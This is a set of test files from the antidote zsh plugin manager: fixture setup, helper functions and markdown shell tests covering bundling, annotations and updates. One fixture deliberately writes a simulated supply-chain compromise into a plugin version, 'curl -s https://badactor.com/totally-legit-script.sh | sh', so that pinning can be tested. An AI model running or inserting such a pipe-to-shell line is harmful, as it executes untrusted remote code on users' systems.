Tag v1.0.0 at the initial commit — this is the "good" pinned version git -C "$dir" tag v1.0.0 git -C "$dir" push --quiet origin v1.0.0 record_sha "pintest/pinme-v1.0.0" "$dir" # v1.1.0 — a normal update cat > "$dir/pinme.plugin.zsh" <<'EOF' echo "sourcing pinme.plugin.zsh from pintest/pinme..." plugins+=(pintest/pinme) # v1.1.0 - minor update EOF commit_and_record "$dir" "pintest/pinme-v1.1.0" "v1.1.0 minor update" git -C "$dir" tag v1.1.0 git -C "$dir" push --quiet origin v1.1.0 # v1.2.0 — upstream pushed something sketchy, this is what we pin away from cat > "$dir/pinme.plugin.zsh" <<'EOF' echo "sourcing pinme.plugin.zsh from pintest/pinme..." plugins+=(pintest/pinme) curl -s https://badactor.com/totally-legit-script.sh | sh EOF commit_and_record "$dir" "pintest/pinme-updated" "v1.2.0 supply chain oops" } init_git_environment clean # Setup all fixtures setup_fixture_bar_baz setup_fixture_custom_zsh_defer setup_fixture_foo_bar setup_fixture_foo_baz setup_fixture_foo_qux setup_fixture_ohmy setup_fixture_themes_ohmytheme setup_fixture_purify # setup_fixture_zsh_users_zsh_bench setup_fixture_zsh_defer setup_fixture_zsh_users_zsh_autosuggestions setup_fixture_test_install setup_fixture_pintest_pinme # Generate the fixture_shas.tsv and gitconfig files generate_fixture_shas generate_fixture_gitconfig # Stamp the git version so t_setup knows these fixtures match the current toolchain. git --version > "$FIXTURE_DIR/.git_version" mattmc3-antidote-4913257/tests/bin/mock_fzf000077500000000000000000000001111516600341500205170ustar00rootroot00000000000000#!/bin/sh # Stub fzf for testing — simulates no selection made. exit 1 mattmc3-antidote-4913257/tests/bin/subenv000066400000000000000000000005131516600341500202260ustar00rootroot00000000000000#!/usr/bin/env zsh function subenv { emulate -L zsh; setopt local_options local -a sedargs=() while (( $# )); do if [[ -v "$1" ]]; then sedargs+=(-e "s|${(P)1}|\$$1|g") fi shift done sedargs+=(-e "s|$PWD|\$PWD|g" -e "s|$HOME|\$HOME|g") sed "$sedargs[@]" # echo "ran sed $sedargs[@]" } subenv "$@" mattmc3-antidote-4913257/tests/bin/test_fzf_opts_manual.zsh000066400000000000000000000014151516600341500237570ustar00rootroot00000000000000#!/usr/bin/env zsh # Manual test for zstyle ':antidote:fzf' opts # Run: zsh tests/bin/test_fzf_opts_manual.zsh ANTIDOTE_ZSH=${0:a:h:h:h}/antidote.zsh print "=== Without opts zstyle: default fzf picker (ANTIDOTE_FZF_DEFAULT_OPTS should be ignored) ===" ( export FZF_DEFAULT_OPTS="--color=fg:#ff00ff,bg:#222222,hl:#ffff00,fg+:#ffffff,bg+:#ff00ff,hl+:#00ffff,prompt:#ff0000,pointer:#00ff00 --layout=reverse-list --height=80%" source $ANTIDOTE_ZSH antidote snapshot restore ) print "\n=== With opts zstyle: bright pink, centered, 80% height ===" ( zstyle ':antidote:fzf' opts "--color=fg:#ff00ff,bg:#222222,hl:#ffff00,fg+:#ffffff,bg+:#ff00ff,hl+:#00ffff,prompt:#ff0000,pointer:#00ff00 --layout=reverse-list --height=80%" source $ANTIDOTE_ZSH antidote snapshot restore ) mattmc3-antidote-4913257/tests/fixtures/000077500000000000000000000000001516600341500201035ustar00rootroot00000000000000mattmc3-antidote-4913257/tests/fixtures/.gitkeep000066400000000000000000000000001516600341500215220ustar00rootroot00000000000000mattmc3-antidote-4913257/tests/functions/000077500000000000000000000000001516600341500202425ustar00rootroot00000000000000mattmc3-antidote-4913257/tests/functions/bundle_val000066400000000000000000000003471516600341500223040ustar00rootroot00000000000000#!/bin/zsh #function bundle_val() { emulate -L zsh; setopt local_options local key=$1 local i eval "$(cat)" for (( i = 1; i <= _parsed_bundles[__count__]; i++ )); do print -- "${_parsed_bundles[$i,$key]}" done #} mattmc3-antidote-4913257/tests/functions/mask_semver000066400000000000000000000002051516600341500224760ustar00rootroot00000000000000#!/bin/zsh #function mask_semver { emulate -L zsh; setopt local_options sed 's/[0-9][0-9]*\.[0-9][0-9]*\.[0-9][0-9]*/X.X.X/g' #} mattmc3-antidote-4913257/tests/functions/print_parsed_bundle000066400000000000000000000014671516600341500242200ustar00rootroot00000000000000#!/bin/zsh #function print_parsed_bundle() { # Prints _parsed_bundles matrix rows, filtering internal keys (__lineno__) # that vary by input position and would make test assertions fragile. # emulate -L zsh; setopt local_options local -a all_keys row_keys local i key val eval "$(cat)" all_keys=(${(ok)_parsed_bundles}) for (( i = 1; i <= _parsed_bundles[__count__]; i++ )); do row_keys=() for key in $all_keys; do [[ $key == $i,* ]] && [[ ${key#$i,} != __lineno__ ]] && [[ ${key#$i,} != __name__ ]] && row_keys+=(${key#$i,}) done for key in ${(o)row_keys}; do val="$(print -r -- "${_parsed_bundles[$i,$key]}" | subenv ANTIDOTE_HOME)" if [[ -z "$val" ]]; then printf '%-12s:\n' $key else printf '%-12s: %s\n' $key $val fi done done #} mattmc3-antidote-4913257/tests/functions/subenv000066400000000000000000000004461516600341500214730ustar00rootroot00000000000000#!/bin/zsh #function subenv { emulate -L zsh; setopt local_options if (( $# == 0 )); then set -- HOME fi local -a sedargs=(-e "s|\$HOME|$HOME|g") while (( $# )); do if [[ -v "$1" ]]; then sedargs+=(-e "s|${(P)1}|\$$1|g") fi shift done sed "$sedargs[@]" #} mattmc3-antidote-4913257/tests/functions/t_reset000066400000000000000000000001531516600341500216310ustar00rootroot00000000000000#!/bin/zsh #function t_reset { 0=${(%):-%x} t_teardown t_setup source ${0:A:h:h:h}/antidote.zsh #} mattmc3-antidote-4913257/tests/functions/t_setup000066400000000000000000000044011516600341500216470ustar00rootroot00000000000000#!/bin/zsh #function t_setup { emulate -L zsh setopt local_options extended_glob glob_dots 0=${(%):-%x} export T_PRJDIR="${0:A:h:h:h}" export T_TESTDATA=$T_PRJDIR/tests/testdata local testdir="$T_PRJDIR/tests" # Generate fixtures if needed. Use a container-local path so container # fixtures never bleed onto the host mount (or vice versa). local fixture_dir="$testdir/fixtures" local fixture_git_ver="$fixture_dir/.git_version" if [[ ! -d $fixture_dir/bare ]] || \ [[ ! -f $fixture_git_ver ]] || \ [[ "$(cat $fixture_git_ver)" != "$(git --version)" ]]; then fixture_dir="/tmp/antidote-fixtures" fixture_git_ver="$fixture_dir/.git_version" if [[ ! -d $fixture_dir/bare ]] || \ [[ ! -f $fixture_git_ver ]] || \ [[ "$(cat $fixture_git_ver)" != "$(git --version)" ]]; then rm -rf "$fixture_dir" FIXTURE_DIR="$fixture_dir" zsh $testdir/bin/init_fixtures.zsh &>/dev/null fi fi # save path/fpath typeset -ga T_PREV_PATH=( $path ) typeset -ga T_PREV_FPATH=( $fpath ) # save zstyles, and clear them all for the test session typeset -ga T_PREV_ZSTYLES=( ${(@f)"$(zstyle -L ':antidote:*')"} ) source <(zstyle -L ':antidote:*' | awk '!/:antidote:test:/{print "zstyle -d",$2}') # setup test functions fpath+=( $testdir/functions ) autoload -Uz $testdir/functions/* # gitconfig insteadOf rules handle URL rewriting for fake URLs # works with BSD and GNU gmktemp T_TEMPDIR=${$(mktemp -d -t t_antidote.XXXXXXXX):A} typeset -g T_PREV_HOME=$HOME typeset -g T_PREV_ZDOTDIR=$ZDOTDIR export HOME=$T_TEMPDIR export ZDOTDIR=$HOME/.zsh export ANTIDOTE_HOME=$HOME/.cache/antidote export ANTIDOTE_CONFIG=$HOME/.config/antidote/test_config.zsh # copy tmp_home contents cp -rf $testdir/tmp_home/* $T_TEMPDIR # put testdata into position cp -rf -- $T_PRJDIR/tests $T_TEMPDIR/tests # our mock plugins use this typeset -ga plugins=() typeset -ga libs=() # use fixture gitconfig so fetch/pull resolve fake URLs to bare fixtures # sed rewrites stored paths to match current fixture location sed "s|/[^ \"]*/tests/fixtures/|${fixture_dir}/|g" "$fixture_dir/gitconfig" > "$HOME/.gitconfig" # start from tmp home pushd cd $T_TEMPDIR # source antidote source $T_PRJDIR/antidote.zsh #} mattmc3-antidote-4913257/tests/functions/t_setup_real000066400000000000000000000013241516600341500226530ustar00rootroot00000000000000#!/bin/zsh #function t_setup_real { 0=${(%):-%x} # Setup using standard test infrastructure t_setup # Override for real cloning (no fixture gitconfig, no test config) typeset -g T_PRJDIR="${0:A:h:h:h}" typeset -g T_TESTDATA=$T_PRJDIR/tests/testdata/real unset ANTIDOTE_CONFIG # remove fixture gitconfig so we clone from real GitHub rm -f "$HOME/.gitconfig" # replace test versions of bundle files with real versions local file for file in .zsh_plugins.txt .zsh_plugins.zsh; do [[ -f $T_TESTDATA/$file ]] && command cp -f -- "$T_TESTDATA/$file" "$ZDOTDIR/$file" done # clean out antidote home [[ -d $ANTIDOTE_HOME ]] && command rm -rf -- "$ANTIDOTE_HOME" mkdir -p "$ANTIDOTE_HOME" #} mattmc3-antidote-4913257/tests/functions/t_teardown000066400000000000000000000017741516600341500223440ustar00rootroot00000000000000#!/bin/zsh #function t_teardown { emulate -L zsh setopt local_options # Return to project directory popd # reset current session HOME=$T_PREV_HOME ZDOTDIR=$T_PREV_ZDOTDIR # unfunction all antidote for fn in ${(k)functions}; do [[ $fn == *antidote* ]] && unfunction -- $fn done (( $+functions[git] )) && unfunction git # unfunction zsh-defer (( $+functions[zsh-defer] )) && unfunction zsh-defer # restore original path/fpath path=( $T_PREV_PATH ) fpath=( $T_PREV_FPATH ) # restore original zstyles source <(zstyle -L ':antidote:*' | awk '{print "zstyle -d",$2}') source <(printf '%s\n' $T_PREV_ZSTYLES) # remove tempdir [[ -d "$T_TEMPDIR" ]] && command rm -rf -- "$T_TEMPDIR" # remove vars for var in \ ANTIDOTE_HOME \ ANTIDOTE_CONFIG \ ANTIDOTE_USING_CTX \ T_TEMPDIR \ T_PREV_HOME \ T_PREV_ZDOTDIR \ T_PREV_PATH \ T_PREV_FPATH \ plugins \ libs \ _antidote_using_context do [[ -v $var ]] && unset $var done #} mattmc3-antidote-4913257/tests/functions/t_unload_antidote000066400000000000000000000004471516600341500236660ustar00rootroot00000000000000#!/bin/zsh emulate -L zsh setopt local_options # unfunction all antidote for fn in ${(k)functions}; do [[ $fn == *antidote* ]] && [[ $fn != t_* ]] && unfunction -- $fn done (( $+functions[git] )) && unfunction git # unfunction zsh-defer (( $+functions[zsh-defer] )) && unfunction zsh-defer mattmc3-antidote-4913257/tests/test_alt_zsh_defer_bundle.md000066400000000000000000000014471516600341500237630ustar00rootroot00000000000000# antidote test alternative zsh-defer repo ## Setup ```zsh % source ./tests/__init__.zsh % t_setup % ``` ## Customize zsh-defer If the user forks zsh-defer, support setting a zstyle for an alternative repo location. ### General ```zsh % zstyle ':antidote:bundle' path-style short % zstyle ':antidote:defer' bundle 'custom/zsh-defer' % antidote bundle 'zsh-users/zsh-autosuggestions kind:defer' 2>/dev/null | subenv HOME if ! (( $+functions[zsh-defer] )); then fpath+=( "$HOME/.cache/antidote/custom/zsh-defer" ) source "$HOME/.cache/antidote/custom/zsh-defer/zsh-defer.plugin.zsh" fi fpath+=( "$HOME/.cache/antidote/zsh-users/zsh-autosuggestions" ) zsh-defer source "$HOME/.cache/antidote/zsh-users/zsh-autosuggestions/zsh-autosuggestions.plugin.zsh" % ``` ## Teardown ```zsh % t_teardown % ``` mattmc3-antidote-4913257/tests/test_antidote.md000066400000000000000000000176041516600341500214320ustar00rootroot00000000000000# antidote bundle tests ## Setup ```zsh % source ./tests/__init__.zsh % t_setup % ``` ## Version Show antidote's version: ```zsh % antidote --version #=> --regex antidote version [0-9]+\.[0-9]+\.[0-9]+ \([a-f0-9]+\) % zstyle ':antidote:test:version' show-sha off % antidote --version antidote version 2.1.0 % zstyle -d ':antidote:test:version' show-sha % ``` ## Help Show antidote's functionality: ```zsh % antidote --help antidote - the cure to slow zsh plugin management usage: antidote [] [ ...] flags: -h, --help Show context-sensitive help -v, --version Show application version --diagnostics Show antidote and system diagnostics commands: bundle Clone bundle(s) and generate the static load script install Clone a new bundle and add it to your plugins file update Update antidote and its cloned bundles purge Remove a cloned bundle home Print where antidote is cloning bundles list List cloned bundles path Print the path of a cloned bundle snapshot Save, restore, or list bundle snapshots init Initialize the shell for dynamic bundles help Show documentation load Statically source all bundles from the plugins file % ``` ## Bundling Bundle a repo at foo/bar ```zsh % antidote bundle foo/bar # antidote cloning foo/bar... fpath+=( "$HOME/.cache/antidote/fakegitsite.com/foo/bar" ) source "$HOME/.cache/antidote/fakegitsite.com/foo/bar/bar.plugin.zsh" % ``` Bundle a repo at https://fakegitsite.com/foo/bar ```zsh % antidote bundle https://fakegitsite.com/foo/bar fpath+=( "$HOME/.cache/antidote/fakegitsite.com/foo/bar" ) source "$HOME/.cache/antidote/fakegitsite.com/foo/bar/bar.plugin.zsh" % ``` Bundle a repo at git@fakegitsite.com:foo/qux ```zsh % antidote bundle git@fakegitsite.com:foo/qux # antidote cloning git@fakegitsite.com:foo/qux... fpath+=( "$HOME/.cache/antidote/fakegitsite.com/foo/qux" ) source "$HOME/.cache/antidote/fakegitsite.com/foo/qux/qux.plugin.zsh" % command rm -rf $ANTIDOTE_HOME/* % ``` Bundle the foo/bar repo using escaped path-style directories: ```zsh % zstyle ':antidote:bundle' path-style escaped % antidote bundle foo/bar | subenv HOME # antidote cloning foo/bar... fpath+=( "$HOME/.cache/antidote/https-COLON--SLASH--SLASH-fakegitsite.com-SLASH-foo-SLASH-bar" ) source "$HOME/.cache/antidote/https-COLON--SLASH--SLASH-fakegitsite.com-SLASH-foo-SLASH-bar/bar.plugin.zsh" % zstyle -d ':antidote:bundle' path-style % ``` Bundle a specific branch of a repo with `branch:`. Clean up ```zsh % t_reset % antidote bundle <$ZDOTDIR/.base_test_fixtures.txt &>/dev/null % ``` Bundle a specific branch of a repo with `branch:`. ```zsh % antidote purge foo/bar &>/dev/null % antidote bundle foo/bar branch:dev # antidote cloning foo/bar... fpath+=( "$HOME/.cache/antidote/fakegitsite.com/foo/bar" ) source "$HOME/.cache/antidote/fakegitsite.com/foo/bar/bar.plugin.zsh" % git -C $(antidote path foo/bar) rev-parse --abbrev-ref HEAD dev % ``` ### Annotations: kind Bundles support a `kind:` annotation. The default is `kind:zsh`. ```zsh % antidote bundle foo/bar kind:zsh fpath+=( "$HOME/.cache/antidote/fakegitsite.com/foo/bar" ) source "$HOME/.cache/antidote/fakegitsite.com/foo/bar/bar.plugin.zsh" % ``` Bundle foo/bar with `kind:path` to add it to your `$PATH`. ```zsh % antidote bundle foo/bar kind:path export PATH="$HOME/.cache/antidote/fakegitsite.com/foo/bar:$PATH" % ``` Bundle foo/bar with `kind:fpath` to add it to your `$fpath`. ```zsh % antidote bundle foo/bar kind:fpath fpath+=( "$HOME/.cache/antidote/fakegitsite.com/foo/bar" ) % ``` Bundle foo/bar with `kind:clone` to just clone the repo, but do nothing to load it. ```zsh % antidote bundle foo/bar kind:clone % ``` Autoload a path within foo/bar with the `kind:autoload` annotation. ```zsh % antidote bundle foo/baz kind:autoload path:functions fpath+=( "$HOME/.cache/antidote/fakegitsite.com/foo/baz/functions" ) builtin autoload -Uz $fpath[-1]/*(N.:t) % ``` Defer loading the foo/bar bundle with the `kind:defer` annotation. ```zsh % antidote bundle foo/baz kind:defer if ! (( $+functions[zsh-defer] )); then fpath+=( "$HOME/.cache/antidote/fakegitsite.com/getantidote/zsh-defer" ) source "$HOME/.cache/antidote/fakegitsite.com/getantidote/zsh-defer/zsh-defer.plugin.zsh" fi fpath+=( "$HOME/.cache/antidote/fakegitsite.com/foo/baz" ) zsh-defer source "$HOME/.cache/antidote/fakegitsite.com/foo/baz/baz.plugin.zsh" % ``` ### Annotations: path Use the `path:` annotation to load subplugins. ```zsh % antidote bundle ohmy/ohmy path:plugins/docker fpath+=( "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/plugins/docker" ) source "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/plugins/docker/docker.plugin.zsh" % ``` Use `path:` to load a whole directory full of files. ```zsh % antidote bundle ohmy/ohmy path:lib fpath+=( "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/lib" ) source "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/lib/lib1.zsh" source "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/lib/lib2.zsh" source "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/lib/lib3.zsh" % ``` Use `path:` to load a specific file. ```zsh % antidote bundle ohmy/ohmy path:custom/themes/pretty.zsh-theme source "$HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy/custom/themes/pretty.zsh-theme" % ``` ### Annotations: conditional Use a existing boolean function to wrap a bundle in `if` logic: ```zsh % is-macos() { [[ "$OSTYPE" == "darwin"* ]]; } % antidote bundle foo/bar conditional:is-macos if is-macos; then fpath+=( "$HOME/.cache/antidote/fakegitsite.com/foo/bar" ) source "$HOME/.cache/antidote/fakegitsite.com/foo/bar/bar.plugin.zsh" fi % ``` ## Dynamic bundling If you run `source <(antidote init)`, antidote will emit a wrapper so that you can dynamically bundle. ```zsh % antidote init #!/usr/bin/env zsh function antidote { case "$1" in bundle) source <( ANTIDOTE_DYNAMIC=true antidote-dispatch $@ ) || ANTIDOTE_DYNAMIC=true antidote-dispatch $@ ;; *) ANTIDOTE_DYNAMIC=true antidote-dispatch $@ ;; esac } % ``` ## Home Show where antidote stores its bundles: ```zsh % antidote home | subenv HOME $HOME/.cache/antidote % ``` ## List bundles List path and URL (default): ```zsh % antidote list | sort | subenv HOME | sed $'s/\t/ /g' $HOME/.cache/antidote/fakegitsite.com/bar/baz https://fakegitsite.com/bar/baz $HOME/.cache/antidote/fakegitsite.com/foo/bar https://fakegitsite.com/foo/bar $HOME/.cache/antidote/fakegitsite.com/foo/baz https://fakegitsite.com/foo/baz $HOME/.cache/antidote/fakegitsite.com/foo/qux git@fakegitsite.com:foo/qux $HOME/.cache/antidote/fakegitsite.com/getantidote/zsh-defer https://fakegitsite.com/getantidote/zsh-defer $HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy https://fakegitsite.com/ohmy/ohmy % ``` List directories: ```zsh % antidote list --dirs | subenv HOME $HOME/.cache/antidote/fakegitsite.com/bar/baz $HOME/.cache/antidote/fakegitsite.com/foo/bar $HOME/.cache/antidote/fakegitsite.com/foo/baz $HOME/.cache/antidote/fakegitsite.com/foo/qux $HOME/.cache/antidote/fakegitsite.com/getantidote/zsh-defer $HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy % ``` ## Bundle paths Show the path to a bundle: ```zsh % ZSH=$(antidote path ohmy/ohmy) % echo $ZSH | subenv HOME $HOME/.cache/antidote/fakegitsite.com/ohmy/ohmy % ``` ## Update bundles ```zsh % zstyle ':antidote:test:version' show-sha off % zstyle ':antidote:test:git' autostash off % antidote update Updating bundles... antidote: checking for updates: bar/baz antidote: checking for updates: foo/bar antidote: checking for updates: foo/baz antidote: checking for updates: git@fakegitsite.com:foo/qux antidote: checking for updates: getantidote/zsh-defer antidote: checking for updates: ohmy/ohmy Waiting for bundle updates to complete... Bundle updates complete. Updating antidote... antidote self-update complete. antidote version 2.1.0 % ``` ## Teardown ```zsh % t_teardown % ``` mattmc3-antidote-4913257/tests/test_antidote_core.md000066400000000000000000000053601516600341500224360ustar00rootroot00000000000000# antidote core tests Tests for antidote's most basic functionality. fails gracefully when someone tries bash ```zsh % bash -c "source ./antidote.zsh" antidote: This script requires Zsh, not Bash % ``` ## Setup ```zsh % echo $+functions[antidote] 0 % source ./tests/__init__.zsh % t_setup % echo $+functions[antidote] 1 % ``` ## General No args displays help: ```zsh % antidote antidote - the cure to slow zsh plugin management usage: antidote [] [ ...] flags: -h, --help Show context-sensitive help -v, --version Show application version --diagnostics Show antidote and system diagnostics commands: bundle Clone bundle(s) and generate the static load script install Clone a new bundle and add it to your plugins file update Update antidote and its cloned bundles purge Remove a cloned bundle home Print where antidote is cloning bundles list List cloned bundles path Print the path of a cloned bundle snapshot Save, restore, or list bundle snapshots init Initialize the shell for dynamic bundles help Show documentation load Statically source all bundles from the plugins file % ``` No arg exit status is 2: ```zsh % antidote >/dev/null; err=$? % echo $err 2 % ``` ## Help `-h` and `--help` work: ```zsh % antidote -h >/dev/null; err=$? % echo $err 0 % antidote --help >/dev/null; err=$? % echo $err 0 % ``` ## Version `-v` and `--version` work: ```zsh % antidote --version #=> --regex antidote version [0-9]+\.[0-9]+\.[0-9]+ \([a-f0-9]+\) % antidote -v >/dev/null; echo $? 0 % antidote --version >/dev/null; echo $? 0 % ``` ## Diagnostics `--diagnostics` shows system info: ```zsh % antidote --diagnostics | head -1 antidote: % antidote --diagnostics | grep 'version:' #=> --regex ^\s+version:\s+[0-9]+\.[0-9]+\.[0-9]+ % antidote --diagnostics | grep 'snapshot dir:' #=> --regex ^\s+snapshot dir:\s+.+ % antidote --diagnostics | grep 'snapshots:' #=> --regex ^\s+snapshots:\s+[0-9]+ % antidote --diagnostics | grep 'zsh version:' #=> --regex ^\s+zsh version:\s+.+ % antidote --diagnostics | grep 'git version:' #=> --regex ^\s+git version:\s+.+ % antidote --diagnostics | grep 'system:' #=> --regex ^\s+system:\s+.+ % antidote --diagnostics >/dev/null; echo $? 0 % ``` ## Unrecognized options ```zsh % antidote --foo >/dev/null; err=$? #=> --regex (bad option|command not found) % echo $err 1 % ``` ## Unrecognized commands ```zsh % antidote foo; err=$? antidote: command not found 'foo' % echo $err 1 % ``` ## All commands ```zsh % cmds=( bundle help home init install list load path purge update main null ) % # for cmd in $cmds; printf '%s' $+functions[antidote-$cmd]; echo % # 111111111110 % ``` ## Teardown ```zsh % t_teardown % ``` mattmc3-antidote-4913257/tests/test_autoload.md000066400000000000000000000005531516600341500214260ustar00rootroot00000000000000# antidote lazy load test ## Setup ```zsh % zstyle ':antidote:test:version' show-sha off % echo $+functions[antidote] 0 % fpath=($PWD $fpath) % autoload -Uz antidote % echo $+functions[antidote] 1 % which antidote | tr '\t' ' ' antidote () { # undefined builtin autoload -XUz } % antidote -h | head -n1 antidote - the cure to slow zsh plugin management % ``` mattmc3-antidote-4913257/tests/test_bundle_helpers.md000066400000000000000000000115151516600341500226110ustar00rootroot00000000000000# antidote bundle helper tests ## Setup ```zsh % TESTDATA=$PWD/tests/testdata % source ./tests/__init__.zsh % t_setup % antidote bundle <$ZDOTDIR/.base_test_fixtures.txt &>/dev/null % ``` ## Awk filter repos The repo parser pulls a list of all git URLs in a bundle file so that we can clone missing ones in parallel. ```zsh % cat $TESTDATA/.zsh_plugins_repos.txt | antidote-zsh __private__ bulk_clone zsh_script __bundle__ bar/baz kind clone & zsh_script __bundle__ foobar/foobar kind clone branch baz & zsh_script __bundle__ getantidote/zsh-defer kind clone & zsh_script __bundle__ git@github.com:user/repo kind clone & zsh_script __bundle__ http://github.com/user/repo.git kind clone & zsh_script __bundle__ https://github.com/foo/baz kind clone & zsh_script __bundle__ https://github.com/foo/qux kind clone & zsh_script __bundle__ https://github.com/user/repo kind clone & zsh_script __bundle__ user/repo kind clone & wait % ``` Test empty ```zsh % cat $TESTDATA/.zsh_plugins_empty.txt | antidote-zsh __private__ bulk_clone % ``` ## Bundle parser Parse a simple repo: ```zsh % echo foo/bar | antidote __private__ bundle_scripter zsh_script __bundle__ foo/bar __type__ repo % ``` ```zsh % echo 'https://github.com/foo/bar path:lib branch:dev' | antidote __private__ bundle_scripter zsh_script __bundle__ https://github.com/foo/bar __type__ url branch dev path lib % echo 'git@github.com:foo/bar.git kind:clone branch:main' | antidote __private__ bundle_scripter zsh_script __bundle__ git@github.com:foo/bar.git __type__ ssh_url branch main kind clone % echo 'foo/bar kind:fpath abc:xyz' | antidote __private__ bundle_scripter zsh_script __bundle__ foo/bar __type__ repo abc xyz kind fpath % echo 'foo/bar path:plugins/myplugin kind:path # trailing comment' | antidote __private__ bundle_scripter zsh_script __bundle__ foo/bar __type__ repo kind path path plugins/myplugin % ``` ```zsh % print 'foo/bar kind:defer\nbar/baz kind:defer\nbaz/qux kind:defer' | antidote __private__ bundle_scripter zsh_script __bundle__ foo/bar __type__ repo kind defer zsh_script __bundle__ bar/baz __type__ repo kind defer __skip_load_defer__ 1 zsh_script __bundle__ baz/qux __type__ repo kind defer __skip_load_defer__ 1 % ``` Handle funky whitespace ```zsh % cr=$'\r'; lf=$'\n'; tab=$'\t' % echo "foo/bar${tab}kind:path${cr}${lf}" | antidote __private__ bundle_scripter zsh_script __bundle__ foo/bar __type__ repo kind path % ``` The bundle parser needs to properly handle quoted annotations. ```zsh % bundle='foo/bar conditional:"is-macos || is-linux"' % echo $bundle | antidote __private__ bundle_parser_serialize | print_parsed_bundle __bundle__ : foo/bar __dir__ : $ANTIDOTE_HOME/fakegitsite.com/foo/bar __short__ : foo/bar __type__ : repo __url__ : https://fakegitsite.com/foo/bar conditional : is-macos || is-linux % echo $bundle | antidote __private__ bundle_scripter zsh_script __bundle__ foo/bar __type__ repo conditional 'is-macos || is-linux' % antidote bundle $bundle if is-macos || is-linux; then fpath+=( "$HOME/.cache/antidote/fakegitsite.com/foo/bar" ) source "$HOME/.cache/antidote/fakegitsite.com/foo/bar/bar.plugin.zsh" fi % ``` ```zsh % bundle="foo/bar pre:'echo hello \$world' post:\"echo \\\"goodbye \$world\\\"\"" % echo $bundle foo/bar pre:'echo hello $world' post:"echo \"goodbye $world\"" % echo $bundle | antidote __private__ bundle_parser_serialize | print_parsed_bundle __bundle__ : foo/bar __dir__ : $ANTIDOTE_HOME/fakegitsite.com/foo/bar __short__ : foo/bar __type__ : repo __url__ : https://fakegitsite.com/foo/bar post : echo "goodbye $world" pre : echo hello $world % echo $bundle | antidote __private__ bundle_scripter zsh_script __bundle__ foo/bar __type__ repo post 'echo "goodbye $world"' pre 'echo hello $world' % antidote bundle $bundle echo hello $world fpath+=( "$HOME/.cache/antidote/fakegitsite.com/foo/bar" ) source "$HOME/.cache/antidote/fakegitsite.com/foo/bar/bar.plugin.zsh" echo "goodbye $world" % ``` The bundle parser turns the bundle DSL into zsh_script statements. ```zsh % antidote __private__ bundle_scripter < $ZDOTDIR/.zsh_plugins.txt zsh_script __bundle__ ~/foo/bar __type__ path zsh_script __bundle__ '$ZSH_CUSTOM' __type__ empty path plugins/myplugin zsh_script __bundle__ foo/bar __type__ repo zsh_script __bundle__ git@fakegitsite.com:foo/qux.git __type__ ssh_url zsh_script __bundle__ getantidote/zsh-defer __type__ repo kind clone zsh_script __bundle__ foo/bar __type__ repo kind zsh zsh_script __bundle__ foo/bar __type__ repo kind fpath zsh_script __bundle__ foo/bar __type__ repo kind path zsh_script __bundle__ ohmy/ohmy __type__ repo path lib zsh_script __bundle__ ohmy/ohmy __type__ repo path plugins/extract zsh_script __bundle__ ohmy/ohmy __type__ repo kind defer path plugins/magic-enter zsh_script __bundle__ ohmy/ohmy __type__ repo path custom/themes/pretty.zsh-theme % ``` ## Teardown ```zsh % t_teardown % ``` mattmc3-antidote-4913257/tests/test_cmd_bundle.md000066400000000000000000000051571516600341500217170ustar00rootroot00000000000000# antidote bundle helper tests ## Setup ```zsh % source ./tests/__init__.zsh % t_setup % antidote bundle <$ZDOTDIR/.base_test_fixtures.txt &>/dev/null % ``` ## Test bundle command Many 'bundle' tests could just as well just be 'script' tests, so we rely on 'test_script.md' to find scripting issues and use this to test actual bundling, or things not handled by 'antidote script'. You can think of 'antidote script' as handling a single bundle, and 'antidote bundle' handling them in bulk. ### General ```zsh % # antidote bundle % ``` ```zsh % antidote bundle <$ZDOTDIR/.zsh_plugins.txt >$ZDOTDIR/.zsh_plugins.zsh % cat $ZDOTDIR/.zsh_plugins.zsh | subenv #=> --file testdata/.zsh_plugins.zsh % ``` ### Multiple ways to call bundle Test \|piping, \ --file testdata/script-foobar.zsh % echo 'foo/bar' | antidote bundle | subenv ANTIDOTE_HOME #=> --file testdata/script-foobar.zsh % echo 'git@fakegitsite.com:foo/qux' >$ZDOTDIR/.zsh_plugins_simple.txt % antidote bundle <$ZDOTDIR/.zsh_plugins_simple.txt | subenv ANTIDOTE_HOME #=> --file testdata/script-fooqux.zsh % ``` ### Do the same thing, but with escaped path-style this time Test \|piping, \/dev/null | subenv ANTIDOTE_HOME #=> --file testdata/antibody/script-foobar.zsh % echo 'foo/bar' | antidote bundle | subenv ANTIDOTE_HOME #=> --file testdata/antibody/script-foobar.zsh % echo 'git@fakegitsite.com:foo/qux' >$ZDOTDIR/.zsh_plugins_simple.txt % antidote bundle <$ZDOTDIR/.zsh_plugins_simple.txt 2>/dev/null | subenv ANTIDOTE_HOME #=> --file testdata/antibody/script-fooqux.zsh % ANTIDOTE_HOME=$HOME/.cache/antidote % zstyle ':antidote:bundle' path-style full % ``` Multiple defers ```zsh % antidote bundle 'foo/bar kind:defer\nbar/baz kind:defer' | subenv ANTIDOTE_HOME if ! (( $+functions[zsh-defer] )); then fpath+=( "$ANTIDOTE_HOME/fakegitsite.com/getantidote/zsh-defer" ) source "$ANTIDOTE_HOME/fakegitsite.com/getantidote/zsh-defer/zsh-defer.plugin.zsh" fi fpath+=( "$ANTIDOTE_HOME/fakegitsite.com/foo/bar" ) zsh-defer source "$ANTIDOTE_HOME/fakegitsite.com/foo/bar/bar.plugin.zsh" fpath+=( "$ANTIDOTE_HOME/fakegitsite.com/bar/baz" ) zsh-defer source "$ANTIDOTE_HOME/fakegitsite.com/bar/baz/baz.plugin.zsh" % ``` ## Fails ```zsh % echo "foo/bar\nfoo/baz kind:whoops" | antidote bundle 2>&1 | grep 'antidote: error:' # antidote: error: unexpected kind value: 'whoops' % ``` ## Teardown ```zsh % t_teardown % ``` mattmc3-antidote-4913257/tests/test_cmd_dispatch.md000066400000000000000000000022731516600341500222410ustar00rootroot00000000000000# antidote dispatch tests ## Setup ```zsh % source ./tests/__init__.zsh % t_setup % ``` ## Test dispatch Dispatch is core to everything, so we don't need to test much here. ```zsh % antidote-dispatch --version &>/dev/null #=> --exit 0 % ``` ## Lazy config Tests 